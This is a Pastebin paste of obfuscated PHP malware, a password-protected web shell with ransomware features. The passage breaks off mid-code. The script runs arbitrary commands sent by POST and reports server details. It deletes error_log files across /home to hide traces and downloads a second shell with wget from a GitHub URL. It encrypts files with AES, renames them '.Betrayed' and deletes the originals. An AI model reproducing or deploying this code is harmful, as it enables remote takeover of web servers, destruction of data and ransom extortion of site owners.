Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php $ {
- "GLOBALS"
- }
- ["pjelnudqugwazfkstuinwkkjdzggnkuyrlgubnyq"] = "auth";
- $ {
- "GLOBALS"
- }
- ["grjrbieqbmhegttpqqtcqoywztnijvgnaqdnbchw"] = "_SERVER";
- $ {
- "GLOBALS"
- }
- ["kfbcuhhs_gwjnppxqp_fjjhcyf_fpovvfb"] = "ip";
- $ {
- "GLOBALS"
- }
- ["pgj_eadzgz_fjlbqimtmxm"] = "_SESSION";
- $ {
- "GLOBALS"
- }
- ["qzlhbvvvdyvyvvznsowtckjrsy"] = "_POST";
- $ {
- "GLOBALS"
- }
- ["hihdnwnkquzrovrngtyeztvym_ysjpt_l"] = "postauth";
- $ {
- "GLOBALS"
- }
- ["t_awgris_ixf__bgevbqrtj"] = "soft";
- $ {
- "GLOBALS"
- }
- ["pqlgrpcxigitz_mcgwtu_fwoy"] = "disabled_functions";
- $ {
- "GLOBALS"
- }
- ["vzcgmqa_vwtkve__ootx_ywltqdtc"] = "arr";
- $ {
- "GLOBALS"
- }
- ["szykgofh_vvdbunbvc_opu_w"] = "i";
- $ {
- "GLOBALS"
- }
- ["xzfppwppqmgxauglzsudom_"] = "check";
- $ {
- "GLOBALS"
- }
- ["_uymdxem_ljphk_wplkdbhke_scvvoq"] = "commnd";
- $ {
- "GLOBALS"
- }
- ["svwstdjmcmbpsyqhstria"] = "len";
- $ {
- "GLOBALS"
- }
- ["uwhxqondvbuny_dplnnm_z_oghzlnjtv_vtctjxt"] = "startString";
- $ {
- "GLOBALS"
- }
- ["dycfzofxkdnndfniiygyktzygkalpsg_l"] = "string";
- $ {
- "GLOBALS"
- }
- ["o_dwvtplfwzzhglz_a_iocllug"] = "sym";
- $ {
- "GLOBALS"
- }
- ["xrx__rllnajpqpkorqtsgwcmfgvu"] = "path";
- $ {
- "GLOBALS"
- }
- ["l_zh_cvqd__xquikvqpcu"] = "Dot";
- $ {
- "GLOBALS"
- }
- ["ktxpcfthgmtnmzodrvu_asz_iybivhjdfy"] = "pos";
- $ {
- "GLOBALS"
- }
- ["zatheeraznmnjimmx_yzf_g_qjztn"] = "rem";
- $ {
- "GLOBALS"
- }
- ["glckjtm_diillaoktbzlioavk_dpfyl_h"] = "rer";
- $ {
- "GLOBALS"
- }
- ["rofy_cprfjaeakdngkbgdwcjtsjaxbuowastpb"] = "out";
- $ {
- "GLOBALS"
- }
- ["xodqizfcjgbqaeqrkauxwsplr_qwvf"] = "new";
- $ {
- "GLOBALS"
- }
- ["hjfeeqemz_jxuks_taoajbewkaivtnc_n"] = "key";
- $ {
- "GLOBALS"
- }
- ["abpwntijbcbdc_yexe_hwkbeflbpi"] = "drx";
- $ {
- "GLOBALS"
- }
- ["egvixtzq_gbzpvphaygcepze_qthcsiiifi"] = "secret_key";
- $ {
- "GLOBALS"
- }
- ["wrjwd_mwuwvcdotmu_mcehsnaxkedx"] = "dir";
- $ {
- "GLOBALS"
- }
- ["zlkb_ofyjdlgs_fwxdqrnxkgoi__ekk__dx"] = "command";
- $ {
- "GLOBALS"
- }
- ["cbyfhqb_zs__e_kvueuldhkaujb_qcaxzmzt"] = "ex";
- $ {
- "GLOBALS"
- }
- ["fn_aqyiybnz_mszdpxwzikvugksyuwwwffessgkx"] = "lol";
- $ {
- "GLOBALS"
- }
- ["fe_fevwqsrki_yhygcew_skr_foxdafghqm_ol"] = "dir_path";
- $ {
- "GLOBALS"
- }
- ["uklekdehip_xag_mfvapjmnyrzf_set_vnww"] = "path_file";
- $ {
- "GLOBALS"
- }
- ["icdqgxxjzgvpcvsgwjoeykckn_cf"] = "path_info";
- $ {
- "GLOBALS"
- }
- ["obekgzafa_yyiwbgjmhttzjhidlyodmuugzma"] = "_FILES";
- $ {
- "GLOBALS"
- }
- ["hm_yphcu_dborirjhddw"] = "target_path";
- $ {
- "GLOBALS"
- }
- ["rtsbvby_oserkufxvuglps_eikqepz_mfrtdv"] = "filename";
- $ {
- "GLOBALS"
- }
- ["wyhwzqnjp_pvqkypvdqs"] = "log";
- $ {
- "GLOBALS"
- }
- ["xgdntpiu_iyzzb_rnzct"] = "lf";
- $ {
- "GLOBALS"
- }
- ["wlfqhicpv_epsibsxxosbcjjdyfi_moubv"] = "ipx";
- $ {
- "GLOBALS"
- }
- ["ibgqljrw_gl_xlvngb_mu"] = "port";
- $ {
- "GLOBALS"
- }
- ["_us__uib_lrdvpcrambknpf"] = "paap";
- $ {
- "GLOBALS"
- }
- ["fndm_spmuzxjqyxcegnnvhjqsgs_ozzx__iv_web"] = "locky";
- $ {
- "GLOBALS"
- }
- ["mgcrhqydwqgejdoomuwly"] = "em";
- $ {
- "GLOBALS"
- }
- ["gwyksdzfllpltageiee_augepxkhpaiaobbtvkf"] = "me";
- $ {
- "GLOBALS"
- }
- ["aw_l_wt_xbtknob_uit_lyomdv"] = "file";
- $ {
- "GLOBALS"
- }
- ["ov_t_emxgnkzxfdkrxbaxcmlekwir"] = "email";
- $ {
- "GLOBALS"
- }
- ["dnly_q_wva_ymoy_itftfbdftd_ifqnxqhbykqc"] = "KEY_SIZES";
- $ {
- "GLOBALS"
- }
- ["ece_fjnaz_avwardpmpdfdev_cdfmiwgl_"] = "iv_size";
- $ {
- "GLOBALS"
- }
- ["i_vxfyokcutmwjrucuasxtgamjfdwirfkwoplg_"] = "fin";
- $ {
- "GLOBALS"
- }
- ["urvoxidaqoiexasyvpogeynj_zadoggpxpftyb"] = "input_stream";
- $ {
- "GLOBALS"
- }
- ["fifcm_bgquuhqemffribjpx_kavjvioimgidnzx"] = "fc";
- $ {
- "GLOBALS"
- }
- ["ytpeogaatshhqchzqx_glijazacwxk_"] = "aes_filename";
- $ {
- "GLOBALS"
- }
- ["elanbcezwvd_gvugmayt"] = "hmac_salt";
- $ {
- "GLOBALS"
- }
- ["rpz_vawbiwdqtnroaaiotw"] = "esalt";
- $ {
- "GLOBALS"
- }
- ["aplwakanauhmuoensfmtlywllh_gskvqqsyi"] = "iv";
- $ {
- "GLOBALS"
- }
- ["dxbcwfumrjtcqxmkrkiiy__r"] = "ekey";
- $ {
- "GLOBALS"
- }
- ["g_hauhxe__odacjkenbhtyaafahing_s"] = "password";
- $ {
- "GLOBALS"
- }
- ["hqqtkcuzorpaljsxubltsvi_iyf"] = "it";
- $ {
- "GLOBALS"
- }
- ["qqg_qtzvnubrqnbupba_smbza_nphq"] = "raw";
- $ {
- "GLOBALS"
- }
- ["dvkoxuail_xttudiuupcitt"] = "opts";
- $ {
- "GLOBALS"
- }
- ["tnbj_lhaaumcpstixsbmpwcgrhozddnxy_kcgv"] = "infilesize";
- $ {
- "GLOBALS"
- }
- ["djx__dcinttzyt_xcvlifxybxi"] = "block";
- $ {
- "GLOBALS"
- }
- ["qttgubyilmzvhqqrnzicznjqbfbycticrsxwpm"] = "block_size";
- $ {
- "GLOBALS"
- }
- ["dwwxccgzvvhzzvbicdcxojwdhbwyivwkjlupm_"] = "padding";
- $ {
- "GLOBALS"
- }
- ["biorykrhsxlfn_ulxbhrufwbggvdgkz"] = "hmac_raw";
- $ {
- "GLOBALS"
- }
- ["_migjzozhzwxbldqb_jdpz_qtehtdajvd"] = "hmac_calc";
- $ {
- "GLOBALS"
- }
- ["jegsts_seesufsphrdjybttd"] = "fout";
- $ {
- "GLOBALS"
- }
- ["ljbkhjlqgtkxrnuasepozhszbmdddyzgyg"] = "out_stream";
- $ {
- "GLOBALS"
- }
- ["im_stvxkiznztfclelfxpxrxb"] = "str1";
- $ {
- "GLOBALS"
- }
- ["fguvqx_mll_duuqmd_erfvpx_ldhkf_"] = "str2";
- $ {
- "GLOBALS"
- }
- ["xawcbiswcuhnmjkvdwgf"] = "res";
- $ {
- "GLOBALS"
- }
- ["cp_ewomxatjudfecdprsa"] = "ret";
- $ {
- "GLOBALS"
- }
- ["utjrutedhaaayrrdemrwhiajvzznbcqmoijldc"] = "init";
- $ {
- "GLOBALS"
- }
- ["jikvguxksgnysvjwlzalu"] = "stream";
- $ {
- "GLOBALS"
- }
- ["lrscybayamhuscljvcwidoy"] = "hkey";
- $ {
- "GLOBALS"
- }
- ["bsfppsqrkoaidcmonsxsk"] = "hsalt";
- $ {
- "GLOBALS"
- }
- ["yuentlw_wdajszo_flkboqrh__wrwkmhralor"] = "iterations";
- $ {
- "GLOBALS"
- }
- ["ypbqnvnukfk_akxztieoirzd_wf_ifneq"] = "bucket";
- $ {
- "GLOBALS"
- }
- ["jaaj_ibfvoaqrs_cxlw_ptvxifgp"] = "in";
- $ {
- "GLOBALS"
- }
- ["xofddberhfxkeru_qazyvhkt"] = "outlen";
- $ {
- "GLOBALS"
- }
- ["_teteukpe_rrjdiuldebui"] = "consumed";
- error_reporting(0);
- ini_set('display_errors', 'Off');
- session_start();
- $ {
- $ {
- "GLOBALS"
- }
- ["pjelnudqugwazfkstuinwkkjdzggnkuyrlgubnyq"]
- } = "f9df3cfba3a4b5cf072d303b89b02670ce846724c787ae9278518e433b96d918";
- function getUserIpAddr() {
- if (!empty($ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['HTTP_CLIENT_IP'])) {
- $ {
- $ {
- "GLOBALS"
- }
- ["ip"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['HTTP_CLIENT_IP'];
- } elseif (!empty($ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['HTTP_X_FORWARDED_FOR'])) {
- $ {
- $ {
- "GLOBALS"
- }
- ["ip"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['HTTP_X_FORWARDED_FOR'];
- } else {
- $ {
- $ {
- "GLOBALS"
- }
- ["ip"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['REMOTE_ADDR'];
- }
- return $ {
- $ {
- "GLOBALS"
- }
- ["ip"]
- };
- }
- if (!isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["auth"])) {
- $ {
- $ {
- "GLOBALS"
- }
- ["postauth"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["auth"]);
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["postauth"]
- }) && isset($ {
- $ {
- "GLOBALS"
- }
- ["auth"]
- }) && hash('sha256', $ {
- $ {
- "GLOBALS"
- }
- ["postauth"]
- }) == $ {
- $ {
- "GLOBALS"
- }
- ["auth"]
- }) {
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ['auth'] = $ {
- $ {
- "GLOBALS"
- }
- ["postauth"]
- };
- $ {
- $ {
- "GLOBALS"
- }
- ["soft"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['SERVER_SOFTWARE'];
- if (startsWith($ {
- $ {
- "GLOBALS"
- }
- ["soft"]
- }, "LiteSpeed")) {
- echo $ {
- $ {
- "GLOBALS"
- }
- ["soft"]
- } . " " . file_get_contents('/usr/local/lsws/VERSION');
- } elseif (startsWith($ {
- $ {
- "GLOBALS"
- }
- ["soft"]
- }, "Apache")) {
- if (!function_exists('apache_get_version')) {
- function apache_get_version() {
- if (!isset($ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['SERVER_SOFTWARE']) || strlen($ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['SERVER_SOFTWARE']) == 0) {
- return false;
- }
- return $ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ["SERVER_SOFTWARE"];
- }
- }
- echo apache_get_version() . "\n";
- } else {
- echo $ {
- $ {
- "GLOBALS"
- }
- ["soft"]
- };
- }
- echo php_uname() . "\n";
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['SERVER_ADDR'])) {
- echo "Server ip > " . $ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['SERVER_ADDR'] . "\n";
- }
- echo "You ip > " . getUserIpAddr() . "\n";
- echo "Current user > " . get_current_user() . "\n";
- echo "OS > " . PHP_OS . "\n";
- chechx("id");
- $ {
- $ {
- "GLOBALS"
- }
- ["disabled_functions"]
- } = ini_get('disable_functions');
- if ($ {
- $ {
- "GLOBALS"
- }
- ["disabled_functions"]
- } != '') {
- $ {
- $ {
- "GLOBALS"
- }
- ["arr"]
- } = explode(',', $ {
- $ {
- "GLOBALS"
- }
- ["disabled_functions"]
- });
- sort($ {
- $ {
- "GLOBALS"
- }
- ["arr"]
- });
- echo "Disabled Functions: ";
- for ($ {
- $ {
- "GLOBALS"
- }
- ["i"]
- } = 0;$ {
- $ {
- "GLOBALS"
- }
- ["i"]
- } < count($ {
- $ {
- "GLOBALS"
- }
- ["arr"]
- });$ {
- $ {
- "GLOBALS"
- }
- ["i"]
- }
- ++) {
- echo " > " . $ {
- $ {
- "GLOBALS"
- }
- ["arr"]
- }
- [$ {
- $ {
- "GLOBALS"
- }
- ["i"]
- }
- ];
- }
- } else {
- echo "No functions disabled";
- }
- if (function_exists('mcrypt_encrypt')) {
- $ {
- $ {
- "GLOBALS"
- }
- ["check"]
- } = "YES!";
- echo "\nThis website can be Encrypted! :) ";
- echo "\n" . getcwd();
- } else {
- $ {
- $ {
- "GLOBALS"
- }
- ["check"]
- } = "NO!";
- echo "\nSORRY this website can't be Encrypted! :( ";
- echo "\n" . getcwd();
- }
- } else {
- echo "wrong password!!! ";
- echo "\n";
- exit();
- }
- }
- function chechx($commnd) {
- if (function_exists("system")) {
- system($ {
- $ {
- "GLOBALS"
- }
- ["commnd"]
- }) . "\n";
- } elseif (function_exists("exec")) {
- exec($ {
- $ {
- "GLOBALS"
- }
- ["commnd"]
- }) . "\n";
- } elseif (function_exists("shell_exec")) {
- shell_exec($ {
- $ {
- "GLOBALS"
- }
- ["commnd"]
- }) . "\n";
- } elseif (function_exists("passthru")) {
- passthru($ {
- $ {
- "GLOBALS"
- }
- ["commnd"]
- });
- }
- }
- function startsWith($string, $startString) {
- $ {
- $ {
- "GLOBALS"
- }
- ["len"]
- } = strlen($ {
- $ {
- "GLOBALS"
- }
- ["startString"]
- });
- return (substr($ {
- $ {
- "GLOBALS"
- }
- ["string"]
- }, 0, $ {
- $ {
- "GLOBALS"
- }
- ["len"]
- }) === $ {
- $ {
- "GLOBALS"
- }
- ["startString"]
- });
- }
- function setses() {
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = getcwd();
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["path"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
- $ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- } = "\\";
- } else {
- $ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- } = "/";
- }
- $ {
- $ {
- "GLOBALS"
- }
- ["path"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["path"];
- $ {
- $ {
- "GLOBALS"
- }
- ["Dot"]
- } = "..";
- $ {
- $ {
- "GLOBALS"
- }
- ["pos"]
- } = strpos($ {
- $ {
- "GLOBALS"
- }
- ["path"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["Dot"]
- });
- if (!isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"])) {
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = getcwd();
- } else {
- if (startsWith($ {
- $ {
- "GLOBALS"
- }
- ["path"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- })) {
- if ($ {
- $ {
- "GLOBALS"
- }
- ["pos"]
- } !== false) {
- $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- } = explode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_pop($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_diff($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- }, array($ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- }));
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = implode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- });
- chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- echo "\n" . getcwd();
- } elseif ($ {
- $ {
- "GLOBALS"
- }
- ["pos"]
- } === false && isset($ {
- $ {
- "GLOBALS"
- }
- ["path"]
- })) {
- $ {
- $ {
- "GLOBALS"
- }
- ["path"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["path"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- } = explode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- array_push($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["path"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = implode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- });
- if (chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"])) {
- echo "\n" . getcwd();
- } else {
- $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- } = explode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_pop($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_diff($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- }, array($ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- }));
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = implode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- });
- chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- echo "\n" . getcwd();
- }
- }
- } else {
- if ($ {
- $ {
- "GLOBALS"
- }
- ["pos"]
- } !== false) {
- $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- } = explode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_pop($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_diff($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- }, array($ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- }));
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = implode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- });
- chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- echo "\n" . getcwd();
- } elseif ($ {
- $ {
- "GLOBALS"
- }
- ["pos"]
- } === false && isset($ {
- $ {
- "GLOBALS"
- }
- ["path"]
- })) {
- $ {
- $ {
- "GLOBALS"
- }
- ["path"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["path"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- } = explode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- array_push($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["path"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = implode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- });
- if (chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"])) {
- echo "\n" . getcwd();
- } else {
- $ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- } = explode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_pop($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- } = array_diff($ {
- $ {
- "GLOBALS"
- }
- ["rem"]
- }, array($ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- }));
- $ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"] = implode($ {
- $ {
- "GLOBALS"
- }
- ["sym"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["rer"]
- });
- chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- echo "\n" . getcwd();
- }
- }
- }
- }
- } else {
- }
- function clearerror() {
- if (function_exists("system")) {
- system("find /home -name 'error_log' -exec rm {} \;");
- echo "\n" . getcwd();
- } elseif (function_exists("shell_exec")) {
- $ {
- $ {
- "GLOBALS"
- }
- ["out"]
- } = shell_exec("find /home -name 'error_log' -exec rm {} \;");
- echo $ {
- $ {
- "GLOBALS"
- }
- ["out"]
- };
- echo "\n" . getcwd();
- } elseif (function_exists("exec")) {
- $ {
- $ {
- "GLOBALS"
- }
- ["new"]
- } = exec("find /home -name 'error_log' -exec rm {} \;");
- echo $ {
- $ {
- "GLOBALS"
- }
- ["new"]
- };
- echo "\n" . getcwd();
- }
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["zx"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"])) {
- chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- runner($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["zx"]);
- } else {
- setses();
- chdir($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["path"]);
- runner($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["zx"]);
- }
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["key"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- clearerror();
- $ {
- $ {
- "GLOBALS"
- }
- ["key"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["key"];
- $ {
- $ {
- "GLOBALS"
- }
- ["drx"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["dir"];
- $ {
- $ {
- "GLOBALS"
- }
- ["secret_key"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["key"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["dir"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["drx"]
- });
- encx($ {
- $ {
- "GLOBALS"
- }
- ["secret_key"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["dir"]
- });
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["dekey"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- clearerror();
- $ {
- $ {
- "GLOBALS"
- }
- ["key"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["dekey"];
- $ {
- $ {
- "GLOBALS"
- }
- ["drx"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["dir"];
- $ {
- $ {
- "GLOBALS"
- }
- ["secret_key"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["key"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["dir"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["drx"]
- });
- dcry($ {
- $ {
- "GLOBALS"
- }
- ["secret_key"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["dir"]
- });
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["fuckedserver"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- funk("/home");
- }
- function runner($command) {
- if ($ {
- $ {
- "GLOBALS"
- }
- ["command"]
- } == "mahakal") {
- system("wget https://raw.githubusercontent.com/Anon-Exploiter/Mini-Shell/master/mini_shell.php");
- } else {
- $ {
- $ {
- "GLOBALS"
- }
- ["ex"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["command"]
- };
- if (function_exists("system")) {
- system($ {
- $ {
- "GLOBALS"
- }
- ["ex"]
- });
- echo "\n" . getcwd();
- } elseif (function_exists("shell_exec")) {
- $ {
- $ {
- "GLOBALS"
- }
- ["out"]
- } = shell_exec($ {
- $ {
- "GLOBALS"
- }
- ["ex"]
- });
- echo $ {
- $ {
- "GLOBALS"
- }
- ["out"]
- };
- echo "\n" . getcwd();
- } elseif (function_exists("exec")) {
- $ {
- $ {
- "GLOBALS"
- }
- ["new"]
- } = exec($ {
- $ {
- "GLOBALS"
- }
- ["ex"]
- });
- echo $ {
- $ {
- "GLOBALS"
- }
- ["new"]
- };
- echo "\n" . getcwd();
- } elseif (function_exists("passthru")) {
- echo passthru($ {
- $ {
- "GLOBALS"
- }
- ["ex"]
- });
- echo "\n" . getcwd();
- }
- }
- }
- function enc($key, $lol) {
- if ($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- } != (__FILE__)) {
- if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
- $ {
- $ {
- "GLOBALS"
- }
- ["dir_path"]
- } = dirname(__FILE__) . "\\";
- } else {
- $ {
- $ {
- "GLOBALS"
- }
- ["dir_path"]
- } = dirname(__FILE__) . "/";
- }
- $ {
- $ {
- "GLOBALS"
- }
- ["path_file"]
- } = pathinfo(__FILE__);
- $ {
- $ {
- "GLOBALS"
- }
- ["path_file"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["dir_path"]
- } . $ {
- $ {
- "GLOBALS"
- }
- ["path_file"]
- }
- ['basename'];
- $ {
- $ {
- "GLOBALS"
- }
- ["path_info"]
- } = pathinfo($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- });
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["path_info"]
- }
- ["extension"]) && $ {
- $ {
- "GLOBALS"
- }
- ["path_info"]
- }
- ["extension"] == "Betrayed") {
- echo "Already encrypted > " . $ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- } . "\n";
- } else {
- if ($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- } != $ {
- $ {
- "GLOBALS"
- }
- ["path_file"]
- }) {
- AES_CBC::encryptFile($ {
- $ {
- "GLOBALS"
- }
- ["key"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- } . ".Betrayed");
- unlink($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- }) or die("Couldn't delete file");
- echo "Betrayed > " . $ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- } . "\n";
- } else {
- echo "Lovely me > " . $ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- };
- }
- }
- }
- }
- function decryz($key, $lol) {
- if ($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- } != (__FILE__)) {
- $ {
- $ {
- "GLOBALS"
- }
- ["path_info"]
- } = pathinfo($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- });
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["path_info"]
- }
- ["extension"]) && $ {
- $ {
- "GLOBALS"
- }
- ["path_info"]
- }
- ["extension"] == "Betrayed") {
- $ {
- $ {
- "GLOBALS"
- }
- ["out"]
- } = substr($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- }, 0, -9);
- AES_CBC::decryptFile($ {
- $ {
- "GLOBALS"
- }
- ["key"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["out"]
- });
- unlink($ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- }) or die("Couldn't delete file");
- echo "Decrypted > " . $ {
- $ {
- "GLOBALS"
- }
- ["lol"]
- } . "\n";
- } else {
- }
- }
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_FILES"]
- }
- ["file"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
- $ {
- $ {
- "GLOBALS"
- }
- ["target_path"]
- } = dirname(__FILE__) . "\\";
- } else {
- $ {
